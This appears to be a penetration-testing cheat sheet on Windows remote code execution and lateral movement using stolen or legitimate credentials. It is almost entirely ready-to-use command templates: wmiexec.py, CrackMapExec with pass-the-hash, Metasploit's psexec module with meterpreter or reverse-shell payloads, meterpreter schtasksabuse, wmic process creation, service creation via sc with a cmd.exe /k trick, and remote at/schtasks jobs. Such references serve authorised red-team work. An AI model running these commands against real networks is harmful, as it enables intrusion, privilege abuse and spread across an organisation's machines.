Remote code execution using legitimate credentials.
- Automated Tools
- Manual Process
Executes a command or a semi-interactive shell using Windows Management Instrumentation (WMI).
wmiexec.py [DOMAIN/]<USERNAME>[:PASSWORD]@<HOST> [command]
- if you don’t specify any
[command], it will run a semi-interactive shell (
- if you don’t specify any
[password], it will prompt you to input the password interactively
-hashes LMHASH:NTHASH instead of specifying a password to authenticate using the pass-the-hash technique.
The awesome CrackMapExec tool allows remote code execution through an SMB session just like PsExec.
crackmapexec <HOST/CIDR> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -x <CMD>
-H [NTHASH] instead of
-p [PASSWORD] to authenticate using the pass-the-hash technique.
Use a capital
-X to execute a PowerShell command instead.
exploit/windows/smb/psexec module which: write an executable into the target file system, creates a service with a pseudorandom name, runs the payload with local SYSTEM privileges, and then automatically removes the executable and service, cleaning up after itself.
use exploit/windows/smb/psexec set RHOST <IP ADDRESS> set SMBUser <USERNAME> set SMBDomain <DOMAIN> set SMBPass <PASSWORD> set payload <meterpreter/reverse shell/cmd> run -j
SMBPass parameter also supports using a hash instead of a password.
From an already compromised machine running meterpreter, use the
schtasksabuse command to automate the manual
schtasks process to execute commands on another remote machine using the current Meterpreter credentials.
run schtasksabuse -c "[command1] [,command2]" -t [targetIP]
[command1] will be ran immediately, while additional commands are being executed with a 2 seconds delay between each others.
psexec has two limitations:
- it sends credentials in cleartext across the wire
- it leaves behind a psexec service after the first successful execution
psexec \\[computer] [command]
||Runs the command detached, i.e. in the background, without any interaction with stdin and stdout|
||Runs the command with local SYSTEM privileges|
wmic /node:[targetIP] /user:[admin_user] /password:[password] process call create [command]
If you leave off the
/password, it will pass through the existing user’s credentials (see SMB Sessions).
@[filename] to run
[command] on every IP listed in the file.
Use the Service Controller to define our executable as a new service and then start it. As always, start by establishing an SMB session with the remote machine, then create an on-demand service and start it.
sc \\[targetIP] create [service_name] binpath= "cmd.exe /k [command]"
Do not forget to clean up your service when you finish.
sc \\[targetIP] delete [service_name]
[command] is not a real Windows service, it will not perform the required API call to tell Windows it has successfully started. Resulting in the command being terminated after 30 seconds. That’s the reason why we need to call
cmd.exe /k before the desired command. Using this trick, the cmd.exe will be terminated but not its child process. Another workaround would be to wrap our command or executable in a real Windows service. Check out ServifyThis free tool or the
exe-service payload format of msfvenom.
schtasks and at
This process creates a service on the remote target in the very near future that executes a command.
1. Establish an SMB session:
net use \\[targetIP] /u:[admin_user]
2. Verify that the Schedule service is running and start it if not:
sc \\[targetIP] query schedule sc \\[targetIP] start schedule
3. Check the current local time on the target machine:
net time \\[targetIP]
4. Schedule the job:
at \\[targetIP] [HH:MM] [A|P] [command]
schtasks /create /tn [taskname] /s [targetIP] /u [user] /p [password] /sc [frequency] /st [HH:MM:SS] /sd [startdate] /tr [command]
5. Verify the job status:
schtasks /query /s [targetIP]